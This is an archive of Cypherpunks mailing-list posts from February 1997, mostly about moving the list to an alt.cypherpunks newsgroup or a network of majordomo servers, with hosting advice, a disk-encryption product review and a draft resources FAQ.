Attila T Hun <attila@primenet.com> writes:
>     tim:  
> 
>     two points you make: 
> 
>     1.  the propogation is slow...
> 
>     2.  some sites do not carry alt. groups
> 
>     are enough to kill an active discussion list. of course, it does
>     slow down excessive volume.

Is there any offline newsreading software for linux?  (Something to
grab feeds from an NNTP server of selected newsgroups to put in
/usr/spool/news/, and something to queue posts for posting via NNTP
when on line)

(My difficulty with USENET groups is that we have pay per second phone
bills over here, and online USENET reading is inefficient, that plus
propogation delays).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 06:27:44 -0800 (PST)
To: SoftWinter <softwinter@post1.com>
Subject: Re: Shade Disk Encryptor for NT Registration key
Message-ID: <199702121427.GAA20009@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>SoftWinter Support
>softwinter@post1.com
>http://softwinter.bitbucket.co.il

Shade looks like an interesting product,
and anything that fits into 64K these days
(even if that is the size of the zip file) deserves some respect :-)

For cypherpunks - it's using MDC as its crypto algorithm,
with 160-bit SHA as the hash.  I can't tell if that's the original
SHA or the revised SHA-1.  The readme.txt is adapted from Peter
Gutmann's MDC documentation.   The demo version runs for 21 days,
and doesn't do encryption, so perhaps the real thing is a bit larger.
List price is $149 US.

I couldn't get it to run - I'm using NT 3.51, which you haven't tested
it on, rather than NT 4.0; it complained about not being able to find
Image_List_SetImageCnt in COMCTL32.dll or something like that.
Perhaps that's related to not having installation instructions with the demo?
there's a SecDisk.sys that looks like it wants something done with it...
Or perhaps it's just a 3.51 vs. 4.0 difference.  Oh, well...

	> Shade allows you to create encrypted disk device inside a file.
	> Such a device can then be formated using any file system
	> (like NTFS or FAT) and used as a regular disk. The only difference
	> is that Shade will encrypt the data on every write operation
	> and decrypt it on every read operation.

I assume it's possible to use this for TEMP directories for
applications like word processors.  I'm not sure I'd want to use
it for swap, but do you know if that would work?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 19:25:59 -0800 (PST)
To: Patrick May <gnu@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120325.TAA05448@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>      - Is a pentium up to the task of running a list of this size and
>        volume?

A pentium is definitely up to this task.  I've been running it the
whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
general computing).  Give it a big /var/spool partition (mine is 60MB)
because every message will sit in the queue for days (*somebody* on
the list will have an unreachable name server or MX server until the
msg times out).  Give it lots of RAM and paging space, since each
sendmail process takes about 2MB virtual, 1.4MB physical, and you will
have dozens running at the same time.

The new version of majordomo (that allows confirmation of
subscriptions) will help a lot.  It needs a small patch though, to do
exponential backoff on the lock file, or when you get a flood of
messages, thirty majordomo processes will burn up the whole machine
trying and failing to get the lock file.

You'll need a BIG mailbox for the bounce messages, and someone (or
some unwritten software) to scan it every day or two and delete the
lusers whose mailboxes are full or who dumped their account without
unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
email a day; more when the list is under attack.

You'll want to run the latest version of BIND on the machine, too,
since doing DNS name-lookups on a thousand email addresses is expensive.
You want them all in the in-memory cache on the same machine.  The
name daemon burns about 7MB virtual, 5MB real RAM once its cache
gets loaded.

Make sure that every message sent to the list gets into at least
two logfiles -- on separate partitions, in case one fills up.  At
least if you want to have an archive of what's been sent.

>      I can provide a pentium box running Linux with a T1 connection to
> MAE-West to host the list, if there is still interest.

Make sure you are getting "transit" service to the Internet, instead
of trying to cheap out with "peering" to a few major networks.
Without transit service ("we'll carry your packets to anywhere even if
the destination is not on our network") you won't be able to route
packets to some places on the net.  This will cause mail to those
subscribers to sit in the queue for days and then bounce.

The real issue is how willing you are to put your own time into
dealing with problems.  Not only do things go wrong by themselves, but
there are malicious assholes in the world who will deliberately make
trouble for you just because they like to.  Spending a day or two
cleaning up the mess is just part of the job.  Check your level of
committment two or three times before taking on the task -- so you
won't end up getting disgusted after a month or two and putting the
list's existence into crisis again.  It's not a "set it up and forget
it" kind of operation.

	John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 22:48:03 -0800 (PST)
To: Peter Hendrickson <pdh@best.com>
Subject: Re: Network of majordomos
Message-ID: <199702120648.WAA07947@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:08 PM 2/11/97 -0800, Peter Hendrickson wrote:
>At 1:09 PM 2/11/1997, Greg Broiles wrote:
>>At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>>> [...] I've already taken steps, along with Jim Choate, to
>>> start a network of majordomos hosting a Cypherpunks mailing list.
>>> [...] Our intention is to have a set of majordomos which
>>> are intersubscribed to a cypherpunks list on each one, with measures
>>> taken to ensure that mail loops don't develop.
>
>> I still think you're just rediscovering Usenet technology....
>
>> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
>> people who want it as E-mail.
>
>> Usenet technology does exactly what you're describing:...
>
>How about this?  The people who like Usenet should race ahead and set
>it up.  The people who like networks of majordomos should race ahead
>and set those up.  Just so long as the tracks meet somewhere in Utah.

As I understand the creation process for an alt. group, someone posts a
proposal to alt.config explaining what's being proposed, waits a week or so
to see if there's a general sense of approval or disapproval or [...] and
then they send a newgroup control message. Individual systems will choose
to add the new group, or not, depending on local policy, administrator
whim, and so forth.

I sent a proposal to alt.config last night (a few hours before I got John's
message indicating that the list is going away, so I wasn't able to include
that fact in my message; it was also ~ 10 hours before I saw Tim's message
re alt.cypherpunks so I was unable to include his more useful statement of
the group's purpose) and intend to newgroup alt.cypherpunks in a week or
so, absent a clear indication from the people in alt.config that it would
be rmgroup'ed or otherwise have a poor chance of success. I don't think a
"charter" is especially necessary or useful in the alt. hierarchy.

One feature of the "alt." groups is that there's no real control over what
happens there. If someone creates a one-way or two-way gateway between one
or more mailing lists and alt.cypherpunks, there's nothing anyone else can
do about it. (modulo cancelbunny/NoCeM, both of which are optionally
honored on a site-by-site basis)

So, the tracks will meet in Utah if someone decides to hook them up.
Perhaps this will be you?

As far as I'm concerned, nobody owns the word "cypherpunks" and we're all
free to use it in any way we please - e.g., Igor can suggest
"comp.org.cypherpunks", eight people can run "cypherpunks@foo.com" mailing
lists, and so forth. Looking for one unified acceptable-to-everyone
solution is pointless on this list. Let "n" flowers bloom.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 12 Feb 1997 06:10:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702121410.GAA19543@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

What is the current future of the Cypherpunks webpage? Will it continue to
be kept up or is it going down as well?


                                                        Jim Choate
                                                        CyberTects
                                                        ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 06:46:31 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
Message-ID: <199702121446.GAA20539@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:
> >    two points you make:
> >    1.  the propogation is slow...
> >    2.  some sites do not carry alt. groups
> >    are enough to kill an active discussion list. of course, it does
> >    slow down excessive volume.

Good if all this is worked out in advance.  I'd like to add a couple
thoughts:

The freedom from temptation to interfere (censor, etc.) outweighs
the slowness.

The nature of the list (crypto) creates more paranoia than most
other lists, making the above even more important, with the
advantage being that there *should* be less noise than other forums
due to the technical nature of the discussion.

Thanks to the last couple of months, c-punks has now provided nearly
every example of what to look out for and plan for.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 06:26:00 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Cypherpunks-related lists on toad.com
Message-ID: <199702121426.GAA19976@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, John - thanks for supporting and putting up with us all these years.
How do you feel about continuing support for the cypherpunks-related
lists that are also on toad.com, coderpunks and cypherpunks-announce?

I'd guess that if we move the cypherpunks list to another machine,
rather than mutating it into alt.cypherpunks, the -announce list
should probably also move once the new list is working.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 06:11:17 -0800 (PST)
To: Evil se7en <se7en@dis.org>
Subject: Re: Germany Versus Scientology
Message-ID: <199702121411.GAA19611@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Evil se7en wrote:
> I have posted a rather lengthy story about Germany's war against the
> Scientologists. It was long enough to preclude mailing it directly to the
> lists, so I have put it on my web site. You may find it at:

The L.A. Times ran a very impressive two-page article on this last
week.  The text compared the current steps by the German govt. to
the steps taken against Jews by the Nazi govt.

I happen to believe that Scientologists are dangerous, for how
quickly they can ruin someone's mental state.  But the article
is interesting for the comparisons....






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 06:42:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702121442.GAA20443@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
> From: ichudov@algebra.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"

> John Gilmore wrote:
> > A pentium is definitely up to this task.  I've been running it the
> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
> > general computing).  Give it a big /var/spool partition (mine is 60MB)
> > because every message will sit in the queue for days (*somebody* on
> > the list will have an unreachable name server or MX server until the
> > msg times out).  Give it lots of RAM and paging space, since each
> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
> > have dozens running at the same time.

My approach to this problem has been to use a 1G drive and mount the entire
file system on it. Swap and MS-Dos each get their own partitions. This
allows the use of the entire drive as a buffer. I am in the process of
adding another 1G in approx. two weeks with the intent of moving /home off
the main drive. This not only gives the system more space but the users as
well. I set swap to 4x main ram. I use Linux and have it as one giant
partition even though suggested is blocks of 16M, works for me (YMMV). Would
be minor to monitor df and alarm when it gets to 200M or something.

I must admit however that I am looking at a faster mbrd. and a bigger hard
drive in the immediate future to make up for the extra load I expect. Had
not really planned on the remailer project however...

> > You'll need a BIG mailbox for the bounce messages, and someone (or
> > some unwritten software) to scan it every day or two and delete the
> > lusers whose mailboxes are full or who dumped their account without
> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
> > email a day; more when the list is under attack.

How about dumping the bounces to /dev/null? I shure don't care if some
bozo's (other than mine that is) mailbox goes away.

> > Make sure that every message sent to the list gets into at least
> > two logfiles -- on separate partitions, in case one fills up.  At
> > least if you want to have an archive of what's been sent.

I have no intention of acting as an archive. I personaly see that as a
'subscriber' issue. Potentialy even a business if the archive were suitably
databased. Of course with the distributed model any member is potentialy
capable of this.

> > >      I can provide a pentium box running Linux with a T1 connection to
> > > MAE-West to host the list, if there is still interest.

I would certainly be interested in your involvment with the Distributed
Remailer.

> > The real issue is how willing you are to put your own time into
> > dealing with problems.  Not only do things go wrong by themselves, but
> > there are malicious assholes in the world who will deliberately make
> > trouble for you just because they like to.  Spending a day or two
> > cleaning up the mess is just part of the job.  Check your level of
> > committment two or three times before taking on the task -- so you
> > won't end up getting disgusted after a month or two and putting the
> > list's existence into crisis again.  It's not a "set it up and forget
> > it" kind of operation.

I can verify this. If I was not already having to deal with these problem
as a current mailing list operator I certainly would not take on the
job. It is one of the reasons I STRONGLY suggest anyone serious about this
should use the resources to make money as well. Anyone capable of setting up
and operating such a remailer system is at least capable of basic skills.

> Another suggestion may be to set sendmail expire option to one day
> instead of five so that messages that cannot be delivered would bounce
> faster and not clog the queue.

I like this idea very much. Myself I would set it for like 4 hours or so and
if it couldn't be delivered then bye bye. Another motivation for selective
sites to operate as archives without themselves being remailers.

Another issue related to this is at what point to unsubscribe accounts. It
seems to me that if the address times out some number of times it should be
deleted.

Is anyone interested in acting as a mail-to-news gateway?



                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 12 Feb 1997 06:13:08 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121413.GAA19649@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:23 PM 2/11/97 -0600, ichudov@algebra.com wrote:
>linux with 16 MB ram will probably get you through.

I have that available on the current machine.  If no one else volunteers and
there is interest in continuing the list, I am willing to donate the services
of my machine.

It is running Redhat Linux 4.0 with 16 megs of ram (soon to be upgraded to 32
or 64 depending on cash) and 3.3 gigs of hard drive.  It is connected to the
net via a T-1.  Should be more than enough to run the list.

And, yes, i have run majordomo before...
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMwFegeQCP3v30CeZAQEjuAf9HujkexOWErjLRt9cd1CtTo6IosU5UPxW
8ovctEooTql6ZPrAkdHWLATwFnInRdFBNRQeKPGCjdyS1U5VpXCDPrG24gs/BUdm
ZQLAT8UdCOiS//vb7IXXUeAgvKT4VciqEfw4Z9r9NawDWA0K93Q+d+5iQ5bYxE72
KmEQHseHL/x1mJZ4x3OlVdUmxdpFeFOmIlu3Ik1L372sRTNgM1r7m1psh6gnr6dp
mYIwEs3oG3gz0hwDV2FhdIg7O3xLBg80FWKufYylx2Z+3Ezm1wUArFTaFC4LwIvP
8cRGUucGd8GOanSIjaj8d72JQWgRIDRqtkWv9Tlz538n+SygJZBl9w==
=0SlX
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 06:13:10 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: List for discussing many majordomos
Message-ID: <199702121413.GAA19650@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:

>We can coordinate our efforts. Actually, we can even have a mini
>mailing list for people who want to participate in the distributed
>cypherpunks experiment. If there is any interest, I can create such 
>a list.

Yes, this is a good idea. One of the proponents of the "many majordomos"
project apparently has plans to impose his own ideas about intellectual
property on the project, and this seems like a pretty serious thing for a
setup that's allegedly going to prevent censorship. We need a place to
discuss this.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMwFm8f37pMWUJFlhAQE4uQf/RfjKd++IRYJZyLPRqsh150098IgMY4oE
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46BRFhKHbKupy6uVCbfrNiXRa76JSdWisxi9NzwJK7jmj5g8SsEJW1Z4pij5VYVJ
Ck4mVziejIE/uyQ4hzenbS2ZN+EEApoF5dxVbS5rvlk/HEcUxJMUvuoxXiVm+fFQ
gs59X/Yj4WtUCNb6STH89Qwdr2RdtK5yvqvP56cMNudIcdK28K/hiEXWtkCSueLu
XU1aa02TQMn/oA24iGYpUF9gnjsGgieIJSx7VB96uE9UsOg6i71mIA==
=ILiw
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 12 Feb 1997 06:26:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: List! No Way: Creati
Message-ID: <199702121426.GAA19999@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:attila@primenet.com to Harka <=-

 In> I vote we just set up a new majordomo with some additional
 In> antispam filters including knocking out exploding mail headers,
 In> etc. I would accept excluding non-members as long as we take the
 In> remailers which are listed with either JP or RL.

Were it possible to use Perry's PGPDomo, which would effectively
keep out at least the Spammers?

Perry? :)

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMv/y/zltEBIEF0MBAQEnBQf/UVcg/iFUtR3hMk2zrNwZmweqE4XA3cLy
ixfNNGoKO6cP0oUnSrqRoWW4LtMrHamMldBMXmFARmkh3joqgFZpzXSwCbiCSFtv
yN7tDOmfzvDfI4gRpohuc7ou3rMMlbjs/lZamJAV5iByE8Kh3/phcvOmb5u9zjWK
m/bcLsje39fLpIeMHL3y0jYf4Z5wyvb4dndBVeF+m50IguT9hVd3KZ4hza2XiKQr
zPkX1Y2uDW1vq9/m2Wd9PLxnio5hrbOuLHdVFzTUxcVBfnJjMB0rrexW3z/2KqJ8
4V0r3xZXqui5z6k55PQTrVZt9Hqb+zVDoDAAA/tzMfHpVU+MOnM3Xg==
=Jtwu
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Wed, 12 Feb 1997 06:42:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks-resources FAQ for alt.cypherpunks
Message-ID: <199702121442.GAA20451@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I am under the assumption that alt.cypherpunks or
alt.privacy.cypherpunks or some such will come into existence shortly.

With that in mind, I have decided to create a FAQ of pointers to
resources on cypherpunk issues.  The goal is to help eliminate the
"What is PGP?" and other newbie-questions that are bound to come up
even more frequently in a newsgroup scenario.

A FAQ such as this has probably long been appropriate, but it didn't
really occur to me until just now.  Not being a cryptologist or
adequate coder, this is one way I feel I can contribute.  It's hard to
have discussions when people haven't even looked at the background
information before piping in.  I don't pretend that a FAQ can prevent
this, but it's worth a shot anyway.

I started typing away about two hours ago and came up with the
following.  It's pretty shaky since it's late and it's Mardi Gras.
Feel free to comment in public or private.  Please, Please, Please
make suggestions and provide relevant pointers.  Obviously, I will be
doing a lot of research over the next few weeks to fill in this very
bare outline.

If you disagree with this or feel its useless... fine.  Please tell me
and explain all your reasons why.  Besides, I'm doing it regardless.

Here's what I'm chewing on so far....
-----------------------------------------------------------------------
			Cypherpunks Resources FAQ
			     version 0.000000001

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers to the
group to explore the background issues which cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various mailreaders are provided to help users filter out some of
Usenet's inevitable noise and glean the most useful information they
can from this newsgroup.

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks
faq" to omegam@cmq.com.  When information in the FAQ is updated, I
will also post a "what's new" message for those who are interested in
reading additions/corrections without wading throught the entire FAQ
again.


-------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

-------*********--------*********---------********--------*********------
 
Premliminary Outline

Section 1 Introduction and General Information?
Q1.1 Does this newsgroup have a charter (No but, Tim's "official" charter.
Eric's note at end of original toad.com welcome message)
Q1.2 How did the group get started?  (Need a brief history of group as
well as any pointers to early history information and posts, also
include pointer to early wired article)
Q1.3 What do Cypherpunks want? (May's Cyphernomicon, CSUA Berkely
site, Others?)
Q1.4 What happened to the toad.com mailing list?  Are there archives?
(Brief explanation, quote Gilmore's message? point to the usual
archives?  Note: check and note if arhive site still prevents IE
usage)
Q1.5 Are there other groups besides Cypherpunks who share these goals.
(point to Epic, EFF, etc sites which all have good archival
information on political crypto causes even if many cpunks have strong
disagreement with some of these groups.  also point to
Cryptography@c2.net and coderpunks lists)
Q1.6 What have the cypherpunks done to advance their goals other that
merely talk about them?(Pointers to anon remailers, Linux-IPSEC
project, Mykotronx scandal--really need a good pointer here, more.
Mention of course that many who call themselves cypherpunks are
professionals in the computer security field.)
Q1.7 Im interested, what can I do?  Pointers to current projects, i
distributed DES crack
Q1.8 Quick n' Dirty Glossary: ie. GAK, TLA, etc.

Section 2 Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
remailer software.  software to make remailer usage simpler
(premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
work
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
Schneir's essay.  Use your brain.

Section 3 Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (go to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
(Others?  I'm getting sleepy, names escaping me at the moment)

Question 5 Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
Possibly include generic examples from own experience and list user's
experience who wish to contribute.  Specific names will be ommitted of
course.  Also score information for those interested
Q5.4 point to information on other utilities and verification-type schemes



_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 06:11:33 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Germany Versus Scientology
Message-ID: <199702121411.GAA19622@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Evil se7en <se7en@dis.org> writes:
> I have posted a rather lengthy story about Germany's war against the 
> Scientologists. It was long enough to preclude mailing it directly to the 
> lists, so I have put it on my web site. You may find it at:
> 
>         http://www.dis.org/se7en/
> 
> with the link being directly under the large "X." I decided to post it 
> for the reasons that I know several people who suffered directly at the 
> hands of the Scientologists after trying to infiltrate their organization 
> via the Internet. These people will recieve this message due to this 
> posting. Enjoy.

Heh, the top German Gov't anti-$cientoligist:
"The state is obliged to protect its citizens from totalitarian
 organizations."

I just love this whole thing. It's like two neighborhood bullies going
at it in the school yard. It doesn't matter who wins, as long as it's
long and bloody.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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irV8YtXhDlsqbVaZDIPoweE5viibrR0ZrfuCqRm4oClGRvttSJdPxTN5iY5ry+HQ
6HFgT3zWxOH5OSyg/8tz2oVirtCOoGD/
=L0xY
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 06:11:28 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: List for discussing many majordomos
Message-ID: <199702121411.GAA19620@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:
> 
> >We can coordinate our efforts. Actually, we can even have a mini
> >mailing list for people who want to participate in the distributed
> >cypherpunks experiment. If there is any interest, I can create such 
> >a list.
> 
> Yes, this is a good idea. One of the proponents of the "many majordomos"
> project apparently has plans to impose his own ideas about intellectual
> property on the project, and this seems like a pretty serious thing for a
> setup that's allegedly going to prevent censorship. We need a place to
> discuss this.

I have acreated a mailing list, cypherpunks-hosts@algebra.com,  for
people interested in participating in the multi-homed cypherpunks list.
You can subscribe to cypherpunks-hosts by talking to
majordomo@algebra.com.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Wed, 12 Feb 1997 06:26:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto: Job Opportunity
Message-ID: <199702121426.GAA19993@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Mining Co. (http://www.miningco.com) is looking
for "siteguides".

There will surely be a guide needed for cryptography.

Pay is commensurate with hit volume, but it isn't too shabby,
at about 3K per month after about a year.

There is the original posting from Sideman's Online Insider following
this post to acquaint you with the particulars.

Good Luck to whomever from this list (for I'm sure someone will) 
takes the aformentioned position. I would, but I'm applying for a 
different site in the Culture/Beliefs section.

On one other note, the PGP Plugin for Eudora is MARVELOUS!
THIS I can even teach a clueless newbie!

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8
q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG
CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI
i962UdPbyVs=
=69D8
-----END PGP SIGNATURE-----
...
For more info, check out < http://www.miningco.com >, sometime on Monday,
they will make a lot more information available there than the "coming
soon" that was there as of this writing.
Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trust Me <trustme@dev.null>
Date: Wed, 12 Feb 1997 06:11:05 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Network of majordomos
Message-ID: <199702121411.GAA19573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> I sent a proposal to alt.config last night and intend to newgroup 
> alt.cypherpunks in a week or so

